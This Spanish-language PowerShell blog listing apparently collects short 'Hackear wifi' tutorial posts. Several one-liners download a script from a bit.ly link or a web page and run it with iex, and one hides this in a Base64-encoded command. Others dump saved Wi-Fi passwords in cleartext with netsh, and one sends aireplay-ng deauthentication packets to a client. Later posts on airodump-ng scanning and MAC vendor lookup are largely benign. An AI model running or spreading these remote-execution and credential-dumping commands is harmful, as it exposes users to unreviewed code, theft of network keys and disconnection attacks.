Wireless | Scripting and security

#El script en Base64 es ((iwr "http://bit.ly/2CbfGrg").AllElements | Where class -eq "crayon-pre" | %{$_.innerText}) | iex
Start-Process -FilePath powershell.exe -ArgumentList ('-encodedcommand KAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvAGIAaQB0AC4AbAB5AC8AMgBDAGIAZgBHAHIAZwAiACkALgBBAGwAbABFAGwAZQBtAGUAbgB0AHMAIAB8ACAAVwBoAGUAcgBlACAAYwBsAGEAcwBzACAALQBlAHEAIAAiAGMAcgBhAHkAbwBuAC
0AcAByAGUAIgAgAHwAIAAlAHsAJABfAC4AaQBuAG4AZQByAFQAZQB4AHQAfQApACAAfAAgAGkAZQB4AA==')

#El script en Base64 es ((iwr "http://bit.ly/2CbfGrg").AllElements | Where class -eq "crayon-pre" | %{$_.innerText}) | iex

Start-Process -FilePath powershell.exe -ArgumentList ('-encodedcommand KAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvAGIAaQB0AC4AbAB5AC8AMgBDAGIAZgBHAHIAZwAiACkALgBBAGwAbABFAGwAZQBtAGUAbgB0AHMAIAB8ACAAVwBoAGUAcgBlACAAYwBsAGEAcwBzACAALQBlAHEAIAAiAGMAcgBhAHkAbwBuAC

0AcAByAGUAIgAgAHwAIAAlAHsAJABfAC4AaQBuAG4AZQByAFQAZQB4AHQAfQApACAAfAAgAGkAZQB4AA==')

Network PowerShell Security Wireless

Hackear wifi con PowerShell

11/02/2018

((iwr "http://bit.ly/2CbfGrg").AllElements | Where class -eq 'crayon-pre' | %{$_.innerText}) | iex

1	((iwr "http://bit.ly/2CbfGrg").AllElements \| Where class -eq 'crayon-pre' \| %{$_.innerText}) \| iex

PowerShell Wireless

Enviar paquetes de desasociación con Aireplay-ng a un cliente que actualmente está asociado con un punto de acceso en Linux realizando una conexión SSH desde PowerShell en Windows

16/10/201714/10/2017

$sUser = "ubuntu"
$oSessionSSH = New-SSHSession -ComputerName 192.168.1.163 -Credential $credencial

#Crear canal de comunicación entre PowerShell y Linux
#Convertirse en sudo para ejecutar Airodump-ng
$stream = $oSessionSSH.Session.CreateShellStream("PS-SSH", 0, 0, 0, 0, 1000)
Invoke-SSHStreamExpectSecureAction -ShellStream $stream -Command "sudo su -" -ExpectString "[sudo] password for $($sUser):"
Start-Sleep -Seconds 5

#Cambiar al canal donde está el punto de acceso
$stream.WriteLine("iwconfig wlp2s0mon channel 11")
$stream.Read()
Start-Sleep -Seconds 5

#Enviar paquetes de desasociación a un cliente que actualmente está asociado con un punto de acceso
#aireplay-ng -0 10 -a <mac> -c <mac> mon0
#-0 es la orden para desconectar, el 10 es la cantidad de paquetes que se envían, pueden ser más.
#-a es la dirección MAC del punto de acceso
#-c es la dirección MAC de destino u objetivo
$stream.WriteLine("aireplay-ng -0 10 -a E8:DE:27 -c 80:A5:89 -e wlan_j wlp2s0mon")
$stream.Read()
Start-Sleep -Seconds 5

$sUser = "ubuntu"

$oSessionSSH = New-SSHSession -ComputerName 192.168.1.163 -Credential $credencial

#Crear canal de comunicación entre PowerShell y Linux

#Convertirse en sudo para ejecutar Airodump-ng

$stream = $oSessionSSH.Session.CreateShellStream("PS-SSH", 0, 0, 0, 0, 1000)

Invoke-SSHStreamExpectSecureAction -ShellStream $stream -Command "sudo su -" -ExpectString "[sudo] password for $($sUser):"

Start-Sleep -Seconds 5

#Cambiar al canal donde está el punto de acceso

$stream.WriteLine("iwconfig wlp2s0mon channel 11")

$stream.Read()

Start-Sleep -Seconds 5

#Enviar paquetes de desasociación a un cliente que actualmente está asociado con un punto de acceso

#aireplay-ng -0 10 -a <mac> -c <mac> mon0

#-0 es la orden para desconectar, el 10 es la cantidad de paquetes que se envían, pueden ser más.

#-a es la dirección MAC del punto de acceso

#-c es la dirección MAC de destino u objetivo

$stream.WriteLine("aireplay-ng -0 10 -a E8:DE:27 -c 80:A5:89 -e wlan_j wlp2s0mon")

$stream.Read()

Start-Sleep -Seconds 5

PowerShell Wireless

Ejecutar Airodump-ng en Linux realizando una conexión SSH desde PowerShell en Windows

14/10/201714/10/2017

$sUser = "ubuntu"
$oSessionSSH = New-SSHSession -ComputerName 192.168.1.163 -Credential $credencial

#Crear canal de comunicación entre PowerShell y Linux
#Convertirse en sudo para ejecutar Airodump-ng
$stream = $oSessionSSH.Session.CreateShellStream("PS-SSH", 0, 0, 0, 0, 1000)
Invoke-SSHStreamExpectSecureAction -ShellStream $stream -Command "sudo su -" -ExpectString "[sudo] password for $($sUser):"
Start-Sleep -Seconds 5
$stream.Read()
$stream.WriteLine("airodump-ng wlp2s0mon -w resultado")
$stream.Read()
Start-Sleep -Seconds 5

#Finalizar la ejecución de Airodump-ng
$stream.WriteLine([char]26)
$stream.Read()

#Abrir el fichero CSV con la información sobre las redes inalámbricas
$commando = "cat resultado-01.csv"
$stream.WriteLine($commando)
Start-Sleep -Seconds 5
$ssid=$stream.Read()
Start-Sleep -Seconds 5
$ssid

$sUser = "ubuntu"

$oSessionSSH = New-SSHSession -ComputerName 192.168.1.163 -Credential $credencial

#Crear canal de comunicación entre PowerShell y Linux

#Convertirse en sudo para ejecutar Airodump-ng

$stream = $oSessionSSH.Session.CreateShellStream("PS-SSH", 0, 0, 0, 0, 1000)

Invoke-SSHStreamExpectSecureAction -ShellStream $stream -Command "sudo su -" -ExpectString "[sudo] password for $($sUser):"

Start-Sleep -Seconds 5

$stream.Read()

$stream.WriteLine("airodump-ng wlp2s0mon -w resultado")

$stream.Read()

Start-Sleep -Seconds 5

#Finalizar la ejecución de Airodump-ng

$stream.WriteLine([char]26)

$stream.Read()

#Abrir el fichero CSV con la información sobre las redes inalámbricas

$commando = "cat resultado-01.csv"

$stream.WriteLine($commando)

Start-Sleep -Seconds 5

$ssid=$stream.Read()

Start-Sleep -Seconds 5

$ssid

PowerShell Security Wireless

Hackear wifi con PowerShell (ejecutando un script remotamente codificado en Base64)

26/02/201726/02/2017

$url="https://www.jesusninoc.com/2017/01/24/hackear-wifi-con-powershell-script-codificado-en-base64/"
$result = Invoke-WebRequest $url
[String]$execute=$result.AllElements | Where class -eq 'crayon-pre' | %{$_.innerText}
Invoke-Expression "powershell -encodedcommand $execute"

$url="https://www.jesusninoc.com/2017/01/24/hackear-wifi-con-powershell-script-codificado-en-base64/"

$result = Invoke-WebRequest $url

[String]$execute=$result.AllElements | Where class -eq 'crayon-pre' | %{$_.innerText}

Invoke-Expression "powershell -encodedcommand $execute"

PowerShell Wireless

Hackear wifi con PowerShell (ejecutando un script remotamente)

11/02/201718/02/2017

$url="https://www.jesusninoc.com/2017/01/15/hackear-wifi-con-powershell/"
$result = Invoke-WebRequest $url
[String]$execute=$result.AllElements | Where class -eq 'crayon-pre' | %{$_.innerText}
Invoke-Expression ($execute)

$url="https://www.jesusninoc.com/2017/01/15/hackear-wifi-con-powershell/"

$result = Invoke-WebRequest $url

[String]$execute=$result.AllElements | Where class -eq 'crayon-pre' | %{$_.innerText}

Invoke-Expression ($execute)

Versión reducida

Invoke-Expression ((iwr "https://www.jesusninoc.com/2017/01/15/hackear-wifi-con-powershell/").AllElements | Where class -eq 'crayon-pre' | %{$_.innerText})

1	Invoke-Expression ((iwr "https://www.jesusninoc.com/2017/01/15/hackear-wifi-con-powershell/").AllElements \| Where class -eq 'crayon-pre' \| %{$_.innerText})

PowerShell Security Wireless

Hackear wifi con PowerShell (script en una línea)

31/01/201721/02/2017

(netsh wlan show interface | Select-String SSID)[0] | %{[String]$SSID=$_;$SSID=$SSID.replace("SSID","").replace(":","").trim();$SSID;netsh wlan show profile name=$SSID key=clear | Select-String 'Contenido de la clave';}

1	(netsh wlan show interface \| Select-String SSID)[0] \| %{[String]$SSID=$_;$SSID=$SSID.replace("SSID","").replace(":","").trim();$SSID;netsh wlan show profile name=$SSID key=clear \| Select-String 'Contenido de la clave';}

PowerShell Wireless

Hackear wifi con PowerShell

15/01/201718/02/2017

(netsh wlan show interface | Select-String SSID)[0] | %{
[String]$SSID=$_;
$SSID=$SSID.replace("SSID","").replace(":","").trim();
$SSID;
netsh wlan show profile name=$SSID key=clear | Select-String 'Contenido de la clave';
}

(netsh wlan show interface | Select-String SSID)[0] | %{

[String]$SSID=$_;

$SSID=$SSID.replace("SSID","").replace(":","").trim();

$SSID;

netsh wlan show profile name=$SSID key=clear | Select-String 'Contenido de la clave';

}

Network PowerShell Security Wireless

Mostrar las contraseñas de todas las conexiones inalámbricas

25/05/201619/03/2016

(netsh wlan show profile | Select-String "Perfil de todos los usuarios") | %{
[String]$SSID=$_
$SSID=$SSID.Split(":")[1].trim()
$SSID
netsh wlan show profile name=$SSID key=clear | Select-String 'Contenido de la clave'
}

(netsh wlan show profile | Select-String "Perfil de todos los usuarios") | %{

[String]$SSID=$_

$SSID=$SSID.Split(":")[1].trim()

$SSID

netsh wlan show profile name=$SSID key=clear | Select-String 'Contenido de la clave'

}

Database Network PowerShell Web Wireless

Obtener el fabricante de los dispositivos de las conexiones inalámbricas que están accesibles (cambios en el servicio IEEE)

24/01/201624/01/2016

$macwifi=netsh wlan show networks mode=bssid | Select-String '([0-9A-F]{2}[:]){5}([0-9A-F]{2})$' | % {$_.matches} | Select-Object value

#Descargar el fichero que contiene información sobre los fabricantes
#IEEE offers Registration Authority programs or registries which maintain lists of unique identifiers under standards and issue unique identifiers to those wishing to register them.
Start-BitsTransfer https://standards-oui.ieee.org/oui.txt -Destination D:\power\oui.txt
$fichero=gc D:\power\oui.txt

foreach($mac in $macwifi.value)
{
$mac.ToUpper()
$fichero | Select-String ($mac.Substring(0,8).replace(':','')).ToUpper()
}

$macwifi=netsh wlan show networks mode=bssid | Select-String '([0-9A-F]{2}[:]){5}([0-9A-F]{2})$' | % {$_.matches} | Select-Object value

#Descargar el fichero que contiene información sobre los fabricantes

#IEEE offers Registration Authority programs or registries which maintain lists of unique identifiers under standards and issue unique identifiers to those wishing to register them.

Start-BitsTransfer https://standards-oui.ieee.org/oui.txt -Destination D:\power\oui.txt

$fichero=gc D:\power\oui.txt

foreach($mac in $macwifi.value)

{

$mac.ToUpper()

$fichero | Select-String ($mac.Substring(0,8).replace(':','')).ToUpper()

}

El siguiente método (petición al servicio IEEE) ya no funciona

$macwifi=netsh wlan show networks mode=bssid | Select-String '([0-9A-F]{2}[:]){5}([0-9A-F]{2})$' | % {$_.matches} | Select-Object value

foreach($mac in $macwifi.value)
{
$mac
$url=”https://services13.ieee.org/RST/standards-ra-web/rest/assignments/download/?registry=MA-L&amp;format=html&amp;text=”+$mac.Substring(0,8).replace(':','')
$url
$result=''
Start-Sleep -Seconds 10
$result=Invoke-WebRequest $url
#Here are the results of your search through the public section of the IEEE Standards MA-L database report for MAC
($result.AllElements | Where tagName -eq “PRE”).outerText
}

$macwifi=netsh wlan show networks mode=bssid | Select-String '([0-9A-F]{2}[:]){5}([0-9A-F]{2})$' | % {$_.matches} | Select-Object value

foreach($mac in $macwifi.value)

{

$mac

$url=”https://services13.ieee.org/RST/standards-ra-web/rest/assignments/download/?registry=MA-L&format=html&text=”+$mac.Substring(0,8).replace(':','')

$url

$result=''

Start-Sleep -Seconds 10

$result=Invoke-WebRequest $url

#Here are the results of your search through the public section of the IEEE Standards MA-L database report for MAC

($result.AllElements | Where tagName -eq “PRE”).outerText

}

Older Posts